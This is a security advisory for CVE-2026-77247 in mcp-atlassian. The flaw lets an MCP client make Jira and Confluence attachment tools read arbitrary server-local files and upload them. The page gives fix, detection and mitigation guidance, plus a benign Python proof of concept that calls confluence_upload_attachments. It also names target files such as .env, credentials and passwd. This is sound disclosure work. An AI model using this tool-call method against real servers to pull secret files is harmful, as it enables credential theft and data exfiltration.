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AI agent vulnerability · Other MCP servers and tools

CVE-2026-77247: MCP Atlassian: Arbitrary server-local file upload to Jira/Confluence attachments via unrestricted file_path parameters

highGHSA-f6pj-qv47-g96w

mcp-atlassian's Jira and Confluence attachment tools treat the `file_path` and `file_paths` arguments as paths on the MCP server's own disk. Any MCP client allowed to call the upload tools can make the server read a local file and attach it to a Jira issue or Confluence page. Versions before 0.22.0 are affected; upgrade to 0.22.0.

Published Sep 22, 2026 · Analysis Oct 22, 2026

What an attacker can do

In confluence/attachments.py, upload_attachment converts the supplied path to an absolute one, checks os.path.exists, and _upload_attachment_direct opens it with open(file_path, "rb") and sends it to Confluence. upload_attachments loops over caller-supplied file_paths. jira/attachments.py does the same, and servers.jira.update_issue accepts an attachments string that becomes paths for the Jira update flow. Nothing restricts the path to an upload directory.

The caller picks the path, and the server reads it with the server process's privileges. The bytes then land in Atlassian, where the caller can download them. No shell or filesystem access to the server is needed, and no prompt injection is involved. The researcher's proof of concept calls confluence_upload_attachments with a temporary file and sees it appear on a test page.

Exposed data depends on the deployment: application config, mounted secrets, cloud credentials, CI tokens and service-account tokens in Docker or Kubernetes. In stdio mode this exposes files readable by the user's own process. The risk is highest on sse or streamable-http servers shared by several users or clients that are not fully trusted. The attacker must be allowed to call the write tools.

Who is affected

mcp-atlassian before 0.22.0 with the attachment upload tools available, meaning READ_ONLY_MODE is not enabled. HTTP deployments (sse, streamable-http), multi-user setups and containers with mounted secrets carry the most risk.

pip show mcp-atlassian

For Docker, check the image tag you pulled, for example ghcr.io/sooperset/mcp-atlassian.

mcp-atlassian

Ecosystem
PyPI
Affected
< 0.22.0
Fixed in
0.22.0
Check
pip show mcp-atlassian

How to fix it

Upgrade to mcp-atlassian 0.22.0:

pip install -U mcp-atlassian==0.22.0

The fix is PR #1448. The advisory suggests denying server-local path uploads by default in HTTP and multi-user deployments, adding an opt-in flag, enforcing an allowlisted upload root after realpath resolution, rejecting file:// URLs and UNC paths, and preferring client-supplied file blobs. It lists no workaround; running with READ_ONLY_MODE=true removes the write tools, and a minimal-privilege server user limits what a path can reach.

How to tell if you were hit

Review attachments added to Jira issues and Confluence pages by the integration's service account for files that look like config, keys or system files, such as .env, credentials or passwd. In the MCP server logs, look for confluence_upload_attachment(s), the Jira attachment tools, or jira_update_issue with attachments pointing outside your intended directory. Remove any such attachment and rotate the secrets involved.

Original advisory

From the GitHub Advisory Database (CC BY 4.0).

Summary

The Jira and Confluence attachment upload tools accept caller-controlled file path parameters and read those paths from the MCP server's local filesystem before uploading the file as an Atlassian attachment.

In local stdio deployments, this can expose files readable by the user's MCP process. In documented HTTP/SSE or streamable-http deployments, the impact is higher: any MCP client that is allowed to invoke write/upload tools can cause the server process to read a server-local file and upload it to Jira or Confluence.

This is not dependent on an AI prompt injection or model behavior. It can be triggered deterministically with a normal MCP tool call.

Details

The vulnerable behavior exists because upload tool arguments are treated as server-local filesystem paths.

Relevant implementation points:

  • mcp_atlassian.confluence.attachments.AttachmentsMixin.upload_attachment
  • Accepts file_path.
  • Converts the supplied value to an absolute path when needed.
  • Checks existence with os.path.exists.
  • Passes the path into the attachment upload flow.
  • mcp_atlassian.confluence.attachments.AttachmentsMixin._upload_attachment_direct
  • Opens the supplied file_path with open(file_path, "rb").
  • Sends the resulting file object as multipart form data to Confluence.
  • mcp_atlassian.confluence.attachments.AttachmentsMixin.upload_attachments
  • Iterates caller-supplied file_paths.
  • Calls upload_attachment for each path.
  • mcp_atlassian.jira.attachments.AttachmentsMixin.upload_attachment
  • Accepts file_path.
  • Converts the supplied value to an absolute path when needed.
  • Checks existence with os.path.exists.
  • Opens the file and uploads it as a Jira attachment.
  • mcp_atlassian.jira.attachments.AttachmentsMixin.upload_attachments
  • Iterates caller-supplied file_paths.
  • Calls upload_attachment for each path.
  • mcp_atlassian.servers.jira.update_issue
  • Accepts an attachments argument as a JSON array string or comma-separated string.
  • Converts it into attachment paths and passes them into the Jira update flow.

The project also documents non-stdio deployment modes:

  • sse
  • streamable-http
  • multi-user authentication
  • Docker and Kubernetes deployment

Therefore the upload path arguments should not be treated as if they always come from a single fully trusted local desktop user. In an HTTP or multi-user deployment, the caller and the server-local filesystem are separate security boundaries.

The core issue is that the MCP caller can choose a path, while the MCP server reads that path using the server process privileges and sends the bytes to a remote Jira or Confluence attachment endpoint.

Expected behavior:

  • Server-local file uploads should be denied by default in HTTP/SSE or multi-user deployments, or
  • Uploads should be constrained to an explicit allowlisted upload directory after realpath resolution, and
  • Dangerous path forms such as remote UNC paths and file:// URLs should be rejected before filesystem checks.

PoC

The following proof of concept uses a benign temporary file generated at runtime. It does not rely on prompt injection or any AI/LLM behavior. It uses a normal MCP client call against a test Confluence page controlled by the tester.

Prerequisites:

  • A test Confluence site.
  • A test page content ID where the tester is allowed to upload attachments.
  • A test Confluence API token or another supported authentication method.
  • Python 3.10 or newer.

Start mcp-atlassian in HTTP mode:

docker run --rm -p 9000:9000 \
  -e CONFLUENCE_URL="https://<your-test-site>.atlassian.net/wiki" \
  -e CONFLUENCE_USERNAME="<tester-email>" \
  -e CONFLUENCE_API_TOKEN="<tester-api-token>" \
  ghcr.io/sooperset/mcp-atlassian:latest \
  --transport streamable-http --host 0.0.0.0 --port 9000

Install the MCP Python client:

python -m pip install "mcp>=1.8.0"

Run this standalone client script:

import asyncio
import os
import tempfile
from pathlib import Path

from mcp import ClientSession
from mcp.client.streamable_http import streamablehttp_client


async def main() -> None:
    mcp_url = os.environ.get("MCP_URL", "http://127.0.0.1:9000/mcp")
    content_id = os.environ["CONFLUENCE_CONTENT_ID"]

    proof_dir = Path(tempfile.mkdtemp(prefix="mcp-atlassian-proof-"))
    proof_file = proof_dir / "server-local-proof.txt"
    proof_file.write_text(
        "This benign file was read from the MCP server filesystem and uploaded by an MCP tool call.\n",
        encoding="utf-8",
    )

    async with streamablehttp_client(mcp_url) as (read_stream, write_stream, _):
        async with ClientSession(read_stream, write_stream) as session:
            await session.initialize()
            result = await session.call_tool(
                "confluence_upload_attachments",
                {
                    "content_id": content_id,
                    "file_paths": str(proof_file),
                    "comment": "Security test: benign server-local upload proof",
                    "minor_edit": True,
                },
            )
            print(result)
            print(f"Uploaded test filename: {proof_file.name}")


if __name__ == "__main__":
    asyncio.run(main())

Run it with the test page ID:

CONFLUENCE_CONTENT_ID="<test-page-content-id>" python poc.py

Observed result:

  1. The MCP client sends a normal confluence_upload_attachments tool call.
  2. The MCP server reads the temporary file from its own filesystem.
  3. The MCP server uploads that file as an attachment to the configured Confluence page.
  4. The uploaded attachment appears on the test page.

Security significance:

  • The MCP caller did not need shell access to the server.
  • The MCP caller did not need direct filesystem access to the server.
  • The MCP caller only needed permission to invoke the upload tool.
  • The file read happened with the privileges of the MCP server process.

The same class of issue applies to Jira attachment upload flows that accept caller-controlled file path parameters.

Impact

This is a server-local file disclosure and exfiltration primitive through attachment upload tools.

Impacted users:

  • Users running mcp-atlassian with write/upload tools enabled.
  • Operators exposing mcp-atlassian through sse or streamable-http.
  • Multi-user deployments where MCP callers are not fully trusted with arbitrary read access to the MCP server filesystem.
  • Docker or Kubernetes deployments where the MCP process can read environment files, mounted secrets, service account tokens, application configuration, or shared volumes.

Potential attacker:

  • A malicious or compromised MCP client with permission to invoke attachment upload tools.
  • A malicious user in a multi-user MCP deployment.
  • An attacker who can supply or influence MCP tool arguments through an integrated workflow.

Potentially exposed data depends on the deployment, but can include files readable by the MCP server process, such as:

  • application configuration
  • deployment secrets
  • cloud or service credentials mounted into the runtime
  • CI/CD or automation tokens
  • other files available to the MCP server user

This issue does not require prior compromise of the internal network in deployments where the MCP service is intentionally exposed over HTTP/SSE to multiple users or external MCP clients. The attacker only needs the ability to invoke the upload tool. The server then reads the chosen path with its own process privileges and uploads it to Jira or Confluence.

If the intended security model is that every MCP caller is fully trusted with arbitrary read access to the server filesystem, that should be documented explicitly. Otherwise, server-local file path uploads should be opt-in and constrained to a configured upload root.

Suggested fixes:

  • Default-deny server-local path uploads in HTTP/SSE and multi-user deployments.
  • Add an explicit opt-in flag for server-local upload paths.
  • Require an allowlisted upload root and enforce it after realpath resolution.
  • Reject file:// URLs and remote UNC path forms before any filesystem operation.
  • Prefer client-provided file/resource blobs over server-local path strings for remote MCP deployments.

Credited to junbyjun1238.

Questions

Does this need prompt injection?

No. The advisory says it is triggered deterministically by a normal MCP tool call. Whoever can call the upload tool can pick the path.

Is stdio mode affected?

Yes, but less. A local stdio server can expose files readable by the user's own MCP process. The impact is larger on shared HTTP or SSE servers where callers are separate from the server host.

Where does the stolen file end up?

As an attachment on a Jira issue or Confluence page the caller names. Anyone who can read that item can download it, so check and delete such attachments.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology

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